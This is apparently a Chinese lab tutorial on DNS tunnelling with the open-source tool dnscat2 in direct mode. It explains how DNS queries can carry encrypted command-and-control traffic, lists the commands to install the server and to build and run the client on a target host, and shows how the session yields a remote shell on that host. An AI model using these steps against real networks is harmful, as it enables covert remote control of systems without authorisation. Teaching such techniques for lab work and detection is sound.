网络安全内网渗透之DNS隧道实验--dnscat2直连模式

目录

一、DNS隧道攻击原理

二、DNS隧道工具

(一)安装dnscat2服务端

(二)启动服务器端

(三)在目标机器上安装客户端

(四)反弹shell


一、DNS隧道攻击原理

在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。入股哦在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是--返回的可以是任意字符串,包括加密的C&C指令。

二、DNS隧道工具

Dnscat2是一款开源软件,它使用DNS协议创建加密的C&C通信,通过预共享密钥进行身份验证;使用shell及DNS查询类型(A、AAAA、TXT、CNAME、MX),多个同时进行的会话类似SSH中的隧道。Dnscat2的客户端使用C语言编写的,服务端是用Ruby语言编写的。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求;

中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢。

如果内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以"dnscat"开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

如果内网中的请求仅限于白名单服务器或者特定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

本章实验以直连模式为测试模式。

(一)安装dnscat2服务端

dnscat2使用ubuntu系统,安装命令如下:

复制代码
​
apt-get install -y gem

apt-get install -y ruby-dev(注意安装的时候系统崩了,重启后使用命令dpkg --configure -a)

apt-get install -y libpq-dev

apt-get install -y ruby-bundler

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server

bundle install

(二)启动服务器端

复制代码
ruby dnscat2.rb

(三)在目标机器上安装客户端

复制代码
​git clone https://github.com/iagox86/dnscat2.git

不能在线git clone的话,使用其他方式上传到目标主机。

复制代码
cd dnscat2/client/

make

./dnscat --dns server=192.168.101.105,port=53 --secret=9fb91ae03a857d46bd2c9b19ea9ef13a

结果如下:

服务端结果如下:

(四)反弹shell

使用windows查看可以连接的会话

window -i 1连接到会话1

help查看命令

shell命令执行后,创建window 4

使用window -i 4进入交互会话,ifconfig可以看到被控主机的IP是192.168.101.106,也就是dnscat客户端主机的IP地址

相关推荐
笨鸟先飞,勤能补拙12 小时前
AI 赋能网络安全领域深度剖析
网络·人工智能·windows·安全·web安全·网络安全·github
HackTwoHub13 小时前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
流浪法师1214 小时前
GA/T 2380-2026《信息安全技术 网络安全等级保护数据安全基本要求》深度解读
安全
为自己_带盐15 小时前
安敢越雷池一步?浅尝雷池WAF社区版
运维·web安全
BEOL贝尔科技16 小时前
样本安全存储中还有哪些重要因素需要考虑?如何设置样本安全?
人工智能·安全·数据分析
卓豪终端管理16 小时前
零信任落地,终端是「最后一公里」也是「最难一公里」
安全
niaiheni17 小时前
红队实战:记一次Spring Cloud Gateway SpEL表达式注入到哥斯拉内存马(CVE-2022-22947)
web安全·spring cloud·网络安全
RisunJan18 小时前
Linux命令-shutdown(安全关闭或重启系统)
linux·服务器·安全
贩卖黄昏的熊19 小时前
NestJS简明教程——安全
开发语言·javascript·安全·typescript·nest.js
山东科恩光电19 小时前
如何通过安全地毯确保工业现场的人员防护?
安全